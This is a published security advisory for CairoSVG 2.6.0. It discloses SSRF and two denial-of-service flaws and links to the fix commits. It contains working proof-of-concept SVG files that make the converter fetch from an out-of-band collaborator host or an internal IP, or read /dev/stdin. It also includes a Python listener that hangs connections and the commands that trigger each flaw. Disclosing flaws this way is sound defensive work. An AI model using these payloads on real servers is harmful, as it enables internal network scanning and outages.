GHSA-rwmf-w63j-p7gv
CairoSVG improperly processes SVG files loaded from external resources
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
# SSRF vulnerability
## Summary
When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.
## Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
## Tested CairoSVG version
2.6.0
## Details
A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.
## PoC
1. Generating malicious svg file:
1.1 CairoSVG_exploit.svg:
```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
<style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
<style type="text/css">
<![CDATA[
@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
rect { fill: red; stroke: blue; stroke-width: 3 }
]]>
</style>
</svg>
```
1.2 CairoSVG_exploit_2.svg:
```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
<image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
</pattern>
</defs>
<path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>
```
1.3 CairoSVG_exploit_3.svg:
```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>
```
2. Run some commands:
`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`
`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`
`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `
3. See result requests in Burp Collaborator:
# DOS vulnerability with SSTI
## Summary
When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
## Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
## Tested CairoSVG version
2.6.0
## PoC
1. Generating malicious svg file:
```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://192.168.56.1:1234/" />
</svg>
```
2. In other server run this python program:
```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
```
3. Run commands:
`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`
(without timeout server will hang forever)
# DOS vulnerability with stdin file descriptor
## Summary
Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
## Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
## Tested CairoSVG version
2.6.0
## PoC
1. Generating malicious svg file:
```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="file:///dev/stdin" />
</svg>
```
2. In other server run this python program:
```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
```
3. Run commands:
`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv
- https://nvd.nist.gov/vuln/detail/CVE-2023-27586
- https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255
- https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53
- https://github.com/Kozea/CairoSVG
- https://github.com/Kozea/CairoSVG/releases/tag/2.7.0
- https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml